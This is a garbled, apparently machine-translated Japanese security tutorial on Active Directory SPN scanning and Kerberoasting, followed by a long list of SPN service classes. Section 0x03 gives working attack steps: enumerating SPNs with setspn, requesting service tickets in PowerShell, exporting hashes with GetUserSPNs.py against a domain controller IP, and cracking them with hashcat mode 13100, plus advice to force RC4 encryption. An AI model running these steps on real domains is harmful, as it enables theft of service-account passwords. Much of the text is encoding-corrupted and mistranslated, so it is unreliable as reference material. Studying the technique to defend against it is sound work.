0x01 SPNå®çŸ©
ãµãŒãã¹ããªã³ã·ãã«åïŒSPNïŒã¯ãç¹å®ã®Kerberosã¿ãŒã²ããã³ã³ãã¥ãŒã¿ãŒãç¬èªã«èå¥ããããã«Kerberosã¯ã©ã€ã¢ã³ãã䜿çšãããµãŒãã¹ã€ã³ã¹ã¿ã³ã¹åã§ãã Kerberos Authenticationã¯SPNã䜿çšããŠããµãŒãã¹ã€ã³ã¹ã¿ã³ã¹ããµãŒãã¹ãã°ã€ã³ã¢ã«ãŠã³ãã«é¢é£ä»ããŸããæ£®æå
šäœã®ã³ã³ãã¥ãŒã¿ãŒã«è€æ°ã®ãµãŒãã¹ã€ã³ã¹ã¿ã³ã¹ãã€ã³ã¹ããŒã«ãããŠããå Žåãåã€ã³ã¹ã¿ã³ã¹ã«ã¯ç¬èªã®SPNãå¿
èŠã§ããã¯ã©ã€ã¢ã³ããè€æ°ã®ååã§èªèšŒã§ããå Žåãç¹å®ã®ãµãŒãã¹ã€ã³ã¹ã¿ã³ã¹ã«ã¯è€æ°ã®SPNãæã€ããšãã§ããŸããããšãã°ãSPNã«ã¯åžžã«ãµãŒãã¹ã€ã³ã¹ã¿ã³ã¹ãå®è¡ãããã¹ãåãå«ãŸããŠããããããµãŒãã¹ã€ã³ã¹ã¿ã³ã¹ã¯ãã¹ãã®åååãŸãã¯ãšã€ãªã¢ã¹ã®SPNãç»é²ã§ããŸãã
0x02 SPNã¹ãã£ã³
SNã¹ãã£ã³ã¯ãKerberosãµãŒãã¹ã€ã³ã¹ã¿ã³ã¹åãã¹ãã£ã³ããããšãã§ããŸããã¢ã¯ãã£ããªãã£ã¬ã¯ããªç°å¢ã§ãµãŒãã¹ãçºèŠããæè¯ã®æ¹æ³ã¯ããSPNã¹ãã£ã³ãã䜿çšããããšã§ããç¹å®ã®SPNã¿ã€ãã®ãµãŒãã¹ããªã³ã·ãã«åãèŠæ±ããŠãµãŒãã¹ãèŠã€ããããšã«ããããããã¯ãŒã¯ããŒãã¹ãã£ã³ãä»ããSPNã¹ãã£ã³æ»æè
ã®äž»ãªå©ç¹ã¯ãSPNã¹ãã£ã³ã§ã¯ããããã¯ãŒã¯ã«æ¥ç¶ãããåIPããµãŒãã¹ããŒãã確èªããå¿
èŠããªãããšã§ãã SPNã¹ãã£ã³ã¯ãLDAPã¯ãšãªãä»ããŠãã¡ã€ã³ã³ã³ãããŒã©ãŒã«ãµãŒãã¹ã®çºèŠãå®è¡ããŸãã SPNã¯ãšãªã¯éåžžã®Kerberosãã±ããã®äžéšã§ãããããã¯ãšãªã䜿çšã§ããªãå Žåã¯ããããã¯ãŒã¯ããŒãã¹ãã£ã³ã§ç¢ºèªã§ããŸãã
1.SPNãã©ãŒããã
spn=serviceclass "/" hostname [":" port] ["/" serviceName]
ServiceClass=MSSQL
servicename=sql.bk.com
ã§ïŒ
ServiceClass: WebãµãŒãã¹ã®wwwãªã©ã®ãµãŒãã¹ã¯ã©ã¹ã®æååãèå¥ããŸã
HOSTNAME:æååã¯ã·ã¹ãã ã®ååã§ããããã¯ãå®å
šã«é©æ Œãªãã¡ã€ã³åïŒFQDNïŒã§ããå¿
èŠããããŸãã
PORT:çªå·ã¯ãµãŒãã¹ã®ããŒãçªå·ã§ãã
ServicEname:ãµãŒãã¹ã®èåãªååïŒDNïŒãObjectGuidãã€ã³ã¿ãŒããããã¹ãåããŸãã¯å®å
šã«é©æ Œãªãã¡ã€ã³åïŒFQDNïŒã§ããæååã
泚:ãµãŒãã¹ã¯ã©ã¹ãšãã¹ããå¿
èŠãªãã©ã¡ãŒã¿ãŒã§ãããããŒããšãµãŒãã¹åã¯ãªãã·ã§ã³ã§ãããã¹ããšããŒãã®éã®ã³ãã³ã¯ãããŒããååšããå Žåã«ã®ã¿å¿
èŠã§ãã
2ãäžè¬çãªãµãŒãã¹ãšSPNãµãŒãã¹ã€ã³ã¹ã¿ã³ã¹å
mssqlsvc/adsmssqlap01.adsecurity.org:1433
亀æ
Exchangemdb/adsmsexcas01.adsecurity.org
RDP
The Termerv/adsmsexcas01.adsecurity.org
WSMAN/WINRM/PSãªã¢ãŒã
wsman/adsmsexcas01.adsecurity.org
Hyper-Vãã¹ã
Microsoft Virtual Console Service/adsmshv01.adsecurity.org
vmware vcenter
sts/adsmsvc01.adsecurity.org
2ã SPNã¹ãã£ã³PSã¹ã¯ãªãã
MSSQLãµãŒãã¹ã§SPNãµãŒãã¹ã€ã³ã¹ã¿ã³ã¹ã®ååãçºèŠããŠãã ããã
https://github.com/pyrotek3/powershell-ad-recon/blob/master/discover-psmssqlservers
ä»ã®SPNãµãŒãã¹ã€ã³ã¹ã¿ã³ã¹åã¯ãšãªïŒ
https://github.com/pyrotek3/powershell-ad-recon
åãµãŒããŒã¯KerberosèªèšŒãµãŒãã¹ã«SPNãç»é²ããå¿
èŠããããããããã¯ããŒãã¹ãã£ã³ãå®è¡ããã«ç°å¢ã«é¢ããæ
å ±ãåéããã®ã«æé©ãªæ¹æ³ãæäŸããŸãã
äŸãã°ïŒ
管çè
ã¯ããMetCorpKCS17ããšããååã®ãµãŒããŒã«Microsoft SQL Serverãã€ã³ã¹ããŒã«ããã³æ§æããããŒã3170 3ããã³3171ã«è³ãåŸããSQLã€ã³ã¹ã¿ã³ã¹ã䜿çšããŸãã
ãã®åŸããµãŒãã¹ã¯ã©ã¹ãšã€ã³ã¹ã¿ã³ã¹åã¯æ¬¡ã®ããã«çæãããŸãã
MSSQLSVC/METCORPKCS17.ADSECURITY.org:3170MSSQLSVC/METCORPKCS17.ADSECURITY.org:3171
éãéšåã¯ãµãŒãã¹ã¯ã©ã¹ããªã¬ã³ãžè²ã®éšåã¯ã³ã³ãã¥ãŒã¿ãŒã®FQDNãç·ã®éšåã¯ãããã¯ãŒã¯ããŒãçªå·ã§ããKerberosã¯SPNèŠæ±ããã£ã¬ã¯ããªã®æ¢åã®SPNã«äžèŽãããããæåŸã®çªå·ã¯å¿
ããããµãŒããŒäžã®ããŒãã§ã¯ãããŸãããäžèšã®ããã«ãã»ãšãã©ã®å ŽåãSPNã«èšé²ãããããŒãã¯ãµãŒããŒäžã®ãªã¹ãã³ã°ããŒãã§ããããã¹ãŠã®SPNãããŒããå«ãããã§ã¯ãããŸãããããã§ãActive Directoryãã¡ã€ã³ãŸãã¯ãã©ã¬ã¹ãã§SQLãµãŒããŒãçºèŠããããã®ããè¯ãæ¹æ³ããããŸããServicePrincipalName=MSSQL*
0x03
SPNã¹ãã£ã³ãšã¯ã©ããã³ã°TGSãã±ããã¯MSSQLãµãŒãã¹ã䜿çšããŠSPNãäŸãšããŠæ§æããŸã
åç
§æ§æã¢ãã¬ã¹ïŒ
https://technet.microsoft.com/zh-cn/library/bb735885.aspx
1ãSQLã®å Žå
ãµãŒããŒãµãŒãã¹ã¢ã«ãŠã³ãç»é²SPN
æåç»é²ïŒ
setSpn -a mssqlsvc/myhost.redmond.microsoft.com:1433 accountname
察å¿ããååã®ã€ã³ã¹ã¿ã³ã¹ïŒ
setSpn -a mssqlsvc/myhost.redmond.microsoft.com/instancename accountname
2ããŠãŒã¶ãŒã«å¯Ÿå¿ããSPNã確èªããŸãã
setspn -l ruos \ sql -service
3. ADSIïŒADSIEDIT.MSCïŒã䜿çšããŠããŠãŒã¶ãŒå±æ§ã衚瀺ããŸã
4.åºåã®ãŠãŒã¶ãŒã«ãµãŒãã¹ãã°ã€ã³æš©éãæå®ããŸãã
gpo_name \ computer
Configuration \ Windows Settings \ Security Settings \ Local Policies \ User Rights
å²ãåœãŠ
ãµãŒãã¹ãšããŠãã°ãªã³ããŸã
5 .倿Ž
SQL Server Serviceã¢ã«ãŠã³ãã¯ãã¡ã€ã³ãŠãŒã¶ãŒã¢ã«ãŠã³ãã§ã
6ããã«ãŒããã©ãŒã¹ã±ã«ããã¹
TGSãã±ãã
æå·åã¿ã€ãã¯RC4_HMAC_MD5ã§ãããããKerberos Protocol TGS-REPã®4çªç®ã®ã¹ãããã¯ããµãŒãã¹ã¢ã«ãŠã³ãã®NTLMãã¹ã¯ãŒãã§æå·åããããã±ãããè¿ããŸãã
7.SPNã¹ãã£ã³
setspn -t
ãã¡ã€ã³-Q */*
ãŸãã¯
https://github.com/pyrotek3/powershell-ad-recon/
8ãspnããªã¯ãšã¹ãããŸã
Kerberosã®ãã±ãã
PS C: \
Add -Type -Assemblyname System.IdentityModel
PS C: \
new-Object System.IdentityModel.tokens.kerberosRequestorseCurityToken
-argumentlist 'mssqlsvc/webtst01.ruos.org/sqlexpress'
9ããã±ããã衚瀺ããã³ãšã¯ã¹ããŒãããŸã
ããã©ã«ãã®æ§ææå·åã¿ã€ãã¯AES256_HMACã§ãããTGSREPCRACKãã¯ã©ãã¯ã§ããŸããããµãŒããŒã°ã«ãŒãããªã·ãŒã§æå·åã¿ã€ããRC4_HMAC_MD5ãšããŠæå®ã§ããŸãã
gpo_name \ computer configuration \ windows settings \ security settings \ local
ããªã·ãŒ\ã»ãã¥ãªãã£ãªãã·ã§ã³
Network Security: Kerberosã«èš±å¯ãããæå·åã¿ã€ããæ§æããŸã
10ããªãã©ã€ã³ã®ã²ã³å²ã
TGSREPACKïŒRC4_HMAC_MD5ã®ã¿ïŒããŸãã¯ããã·ã¥ã«ããã䜿çšããŠããã·ã¥ãä¿åããŠã¯ã©ãã¯ããŸãã
ããã·ã¥ããšã¯ã¹ããŒãããïŒä»ã®æå·åã¿ã€ãçšïŒ
getUserSpns.py -Request -OutputFile hash.txt -dc-ip 192.168.6.2 ruos.org/user2
ãŸãã¯ãè«æ±æžããkirbi2john.pyããšã¯ã¹ããŒãããŸã
1-40A00000-USER2@MSSQLSVC~webtst01.ruos.org~sqlexpress-ruos.org.kirbi
S2ã hashcat64.exe -m 13100 hash.txt emple.dict âforce
次ã®ããã«ä»ã®ã²ã³å²ãããŒã«ãåç
§ããããšãã§ããŸãã
https://github.com/nidem/kerberoast
https://github.com/coresecurity/impacket
https://github.com/nidem/kerberoast/blob/master/kirbi2john.py
0x04
Active DirectoryãµãŒãã¹ã®å
æ¬çãªåç
§ããŒãã«ããªã³ã·ãã«åïŒSPNïŒAcronisagentïŒAcronisããã¯ã¢ããããã³ããŒã¿å埩ãœãããŠã§ã¢çš
AdtserverïŒACSãåããMicrosoftã·ã¹ãã
ã»ã³ã¿ãŒãªãã¬ãŒã·ã§ã³ãããŒãžã£ãŒïŒ2007/2012ïŒç®¡çãµãŒããŒ
AfpserverïŒAppleã¢ãŒã«ã€ããããã³ã«
AGPMSERVERïŒMicrosoft Advanced Group Policy ManagementïŒAGPMïŒ
aradminsvc-ã¿ã¹ã¯ãã¹ã¿ãŒããŒã«ãµãŒããŒ
ARSSVC-ã¿ã¹ã¯ãã¹ã¿ãŒããŒã«ãµãŒããŒ
BOCMSïŒã³ããŒã·ã£ã«CMS
BOSSOïŒããžãã¹ãªããžã§ã¯ã
CESREMOTEïŒVMwareäžã®Citrix VDIãœãªã¥ãŒã·ã§ã³ã«é¢é£ããŠãå€ãã®VDIã¯ãŒã¯ã¹ããŒã·ã§ã³ã«ã¯ãã®SPNããããŸãã
CIFSïŒãŠãããŒãµã«ã€ã³ã¿ãŒããããã¡ã€ã«ã·ã¹ãã
CMRCServiceïŒMicrosoft System Center Configuration ManagerïŒSCCMïŒãªã¢ãŒãã³ã³ãããŒã«
CusessionKeysVrïŒCisco Unity VoIPã·ã¹ãã
CVSïŒCVSã©ã€ãã©ãª
DFSR *ïŒåæ£ãã¡ã€ã«ã·ã¹ãã
DNSïŒãã¡ã€ã³åãµãŒããŒ
E3514235-4B06-11D1-AB04-00C04FC2DCD2ïŒNTDS DC RPCã³ããŒ
E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAMïŒAdam Instance
EDVRïŒExacqVision Service
ExchAngeABïŒã¢ãã¬ã¹åž³ãµãŒãã¹ã亀æïŒéåžžã¯NSPIãéåžžã¯ãã¹ãŠã®GCããµããŒããããã¡ã€ã³ã³ã³ãããŒã©ãŒïŒ
ExchangemDBïŒRPCã¯ã©ã€ã¢ã³ãã¢ã¯ã»ã¹ãµãŒããŒã®åœ¹å²
ExchangerfrïŒã¢ãã¬ã¹åž³ãµãŒãã¹ã亀æããŸã
FCSVRïŒApple Final Cut Server
filerepserviceïŒwsfilerepservice.exe
FimServiceïŒMicrosoft
æåç·ã®èå¥ãããŒãžã£ãŒïŒFIMïŒ
FTPïŒãã¡ã€ã«è»¢éãããã³ã«
GCïŒãã¡ã€ã³ã³ã³ãããŒã©ãŒã°ããŒãã«ã«ã¿ãã°ãµãŒãã¹
HDFSïŒHadoopïŒAmbariïŒ
ãã¹ãïŒãã¹ããµãŒãã¹ã¯ãã¹ãã衚ããŸãããã¹ãSPNã¯ããµãŒãã¹ãã±ããã®äœææã«Kerberosãããã³ã«ã«ãã£ãŠé·æããŒã䜿çšãããã¹ãã¢ã«ãŠã³ãã«ã¢ã¯ã»ã¹ããããã«äœ¿çšãããŸãã
HTTPïŒKerberosèªèšŒããµããŒãããHTTPãããã¯ãŒã¯ãµãŒãã¹ã®SPN
Hyper-Vã¬ããªã«ãµãŒãã¹ïŒMicrosoft Hyper-Vã¬ããªã«ãµãŒãã¹
IMAPïŒã€ã³ã¿ãŒãããã¡ãã»ãŒãžã¢ã¯ã»ã¹ãããã³ã«
IMAP4ïŒã€ã³ã¿ãŒãããã¡ãã»ãŒãžã¢ã¯ã»ã¹ãããã³ã«ããŒãžã§ã³4
IPPïŒã€ã³ã¿ãŒãããå°å·ãããã³ã«
ISCSITARGETïŒISCSIæ§æ
KadminïŒKerberos
LDAPïŒãã¡ã€ã³ã³ã³ãããŒã©ãŒãAdamã€ã³ã¹ã¿ã³ã¹ãªã©ã®LDAPãµãŒãã¹ã
MAGFSïŒMaginatics Magfs
MapRedïŒCloudera
Microsoft Virtual ConsoleãµãŒãã¹ïŒHyperVãã¹ã
Microsoft Virtual System Migration ServiceïŒP2VãµããŒãïŒHyper-VïŒ
MongodïŒMongodb Enterprise
MongosïŒMongodb Enterprise
MSClusterVirtualServerïŒWindowsã¯ã©ã¹ã¿ãŒãµãŒããŒ
MSOLAPSVCïŒSQL Server Analysis Service
MSOLAPSVC.3ïŒSQL Server Analysis Service
MSOLAPDISCO.3ïŒSQL Server Analysis Service
MSOMHSVCïŒMicrosoft System Center Operations ManagerïŒ2007/2012ïŒç®¡çãµãŒããŒ
MSOMSDKSVCïŒMicrosoft System
ã»ã³ã¿ãŒãªãã¬ãŒã·ã§ã³ãããŒãžã£ãŒïŒ2007/2012ïŒç®¡çãµãŒããŒ
MSSERVERCLUSTERïŒWindowsã¯ã©ã¹ã¿ãŒãµãŒããŒ
MSSERVERCLUSTERMGMTAPIïŒãã®ã¯ã©ã¹ã¿ãŒAPIã§ã¯ããã®SPNã«Kerberosã䜿çšããŠãµãŒããŒã«èªèšŒããå¿
èŠããããŸã
MSSQLïŒMicrosoft SQL
ãµãŒã
MSSQLSVCïŒMicrosoft SQL
ãµãŒã
MSSQL $ ADOBECONNECTïŒAdobe ConnectããµããŒãããMicrosoft
SQL Server
MSSQL $ BIZTALKïŒMicrosoft SQL
ãµãŒããŒã¯MicrosoftããµããŒãããŸã
biztalkãµãŒããŒ
MSSQL $ BusinessObjectsïŒããžãã¹ãªããžã§ã¯ãããµããŒãããMicrosoft
SQL Server
MSSQL $ DB01NETIQïŒNETIQããµããŒãããMicrosoft SQL
ãµãŒã
NFSïŒãããã¯ãŒã¯ãã¡ã€ã«ã·ã¹ãã
NppolicyevaluatorïŒDell Questç£æ»äºº
Nprepository 4ïŒChangeauditorïŒïŒDell Quest Change
ç£æ»äºº
NPREPOSITORY4ïŒCAADïŒïŒDell Questç£æ»äºº
NPREPOSITORY4ïŒããã©ã«ãïŒïŒDell Task Auditor
NTFRS *ïŒNTãã¡ã€ã«ã³ããŒãµãŒãã¹
OracleïŒOracle KerberosèªèšŒ
PcastïŒApple Podcastãããã¥ãŒãµãŒ
PCNSCLNTïŒèªåãã¹ã¯ãŒãåæãœãªã¥ãŒã·ã§ã³ïŒMIIS 2003ïŒFIMïŒ
ãããïŒé»åã¡ãŒã«å¥çŽ
POP3ïŒé»åã¡ãŒã«å¥çŽããŒãžã§ã³3
PVSSOAPïŒCitrix
ããããžã§ãã³ã°ãµãŒãã¹ïŒ7.1ïŒ
å¶éä»ãkrbhostïŒãµãŒãã¹ã¯ã©ã¹ã®æååããrestrictedkrbhostãã«çããSPNã䜿çšãããµãŒãã¹ã¯ã©ã¹ããµãŒãã¹ããŠãã£ãŒã¯ã³ã³ãã¥ãŒã¿ãŒã¢ã«ãŠã³ãããŒã䜿çšããŠã»ãã·ã§ã³ããŒãå
±æããŸãã
RPCïŒãªã¢ãŒãããã·ãŒãžã£ã³ãŒã«ãµãŒãã¹
SAPïŒSAP/SAPSERVICE
ã·ã
SASïŒSASãµãŒããŒ
SCVMMïŒã·ã¹ãã ã»ã³ã¿ãŒä»®æ³ãã·ã³ãããŒãžã£ãŒ
SecshdïŒIBM Infosphere
SIPïŒã»ãã·ã§ã³ã¹ã¿ãŒãã¢ãããããã³ã«
SMTPïŒåçŽãªã¡ãŒã«è»¢éãããã³ã«
SMTPSVCïŒåçŽãªã¡ãŒã«è»¢éãããã³ã«
SoftGridïŒMicrosoftã¢ããªã±ãŒã·ã§ã³ä»®æ³åïŒAPP-VïŒä»¥åã¯ãSoftGridã
STSïŒVMware SSOãµãŒãã¹
SQLAGENT $ DB01NETIQïŒSQL Service for Netiq
TapenegoïŒMicrosoftãã¡ã€ã¢ãŠã©ãŒã«ïŒISAãTMGãªã©ïŒãªã©ã®ã«ãŒãã£ã³ã°ã¢ããªã±ãŒã·ã§ã³ã«é¢é£ä»ããããŠããŸãã
The ThersRVïŒMicrosoftãªã¢ãŒããã¹ã¯ããããããã³ã«ãµãŒãã¹ãã¿ãŒããã«ãµãŒãã¹ãšããŠãç¥ãããŠããŸãã
TNETDïŒJuniper KerberosèªèšŒ
ãTNETDã¯ãã«ãŒãã£ã³ã°ãšã³ãžã³ããã±ãã転éãšã³ãžã³ãªã©ã®ããŸããŸãªã³ã³ããŒãã³ãéã®å
éšéä¿¡ã«äœ¿çšãããããŒã¢ã³ã§ãã
VMRCïŒMicrosoft Virtual Server 2005
VNCïŒVNCãµãŒããŒ
VPNïŒä»®æ³ãã©ã€ããŒããããã¯ãŒã¯
VPRORECOVERY BACKUP Exec System Recovery Agent 7.0
VPRORECOVERY BACKUP Exec System Recovery Agent 8.0
VPRORECOVERYããã¯ã¢ããEXECã·ã¹ãã å埩ãšãŒãžã§ã³ã9.0
vProrecovery Norton Clone Proxy 12.0
vprorecoverynorton
ã¯ããŒã³ãããã·14.0VPRORECOVERY NORTON CLONE Proxy 15.0
VProRecovery Symantec System Recovery Agent 10.0
VProRecovery Symantec System Recovery Agent 11.0
VProRecovery Symantec System Recovery Agent 14.0
vssrvc: Microsoft Virtual Server (2005)
WSMANïŒWindowsãªã¢ãŒã管çïŒWSç®¡çæšæºã«åºã¥ãïŒãµãŒãã¹
XMPP/XMPPïŒæ¡åŒµå¯èœãªã¡ãã»ãŒãžãšã¬ã³ããªã³ã°ãããã³ã«ïŒJabberïŒ
XgridïŒAppleã®åæ£ïŒã°ãªããïŒèšç®/
Mac OS X 10.6ãµãŒããŒç®¡ç
糞ïŒã¯ã«ãã©
MapReduce
泚ïŒãã¡ã€ã³ã³ã³ãããŒã©ãŒã¯ããããªãã¯SPNããã¹ãSPNã«èªåçã«ãããã³ã°ããŸããã³ã³ãã¥ãŒã¿ãŒããã¡ã€ã³ã«çµåããããšããã¹ãSPNã¯ãã¹ãŠã®ã³ã³ãã¥ãŒã¿ãŒã¢ã«ãŠã³ãã®ServicePrincipalNameããããã£ã«èªåçã«è¿œå ãããŸãããã¡ã€ã³ã³ã³ãããŒã©ãŒSPNãããã³ã°ã¯ãSPNMAppingsã®ããããã£ã«ãã£ãŠå¶åŸ¡ãããŸãã
ãCN=ãã£ã¬ã¯ããª
ãµãŒãã¹ãcn=windowsntãcn=servicesãcn=configuration
SPNã¯èªåçã«ãã¹ãïŒSPNMAPPING屿§å€ïŒ:Alerterã«ãããã³ã°ãããŸã
appmgmt
CISVC
Clipsrv
ãã©ãŠã¶
DHCP
dnscache
ã¬ããªã±ãŒã¿ãŒ
eventlog
Eventsystem
æ¿çç«æ¡è
ãªãŒã¯ãªãŒ
dmserver
DNS
MCSVC
ãã¡ãã¯ã¹
msserver
IAS
ã¡ãã»ã³ãžã£ãŒ
Netlogon
ããããã³
netdde
netddedsm
nmagent
ãã©ã°ãã¬ã€
ProtectedStorage
ã©ã¹ãã³
rpclocator
RPC
RPCSS
RemoteaCcess
ãè¿äºãé¡ãããŸã
samss
scandsvr
SSRV
Seclogon
SCM
DCOM
CIF
ã¹ããŒã©
SNMP
ã¹ã±ãžã¥ãŒã«
tapisrv
trksvr
trkwks
UPS
æé
åã¡ãŸã
www
http
W3SVC
iisadmin
MSDTC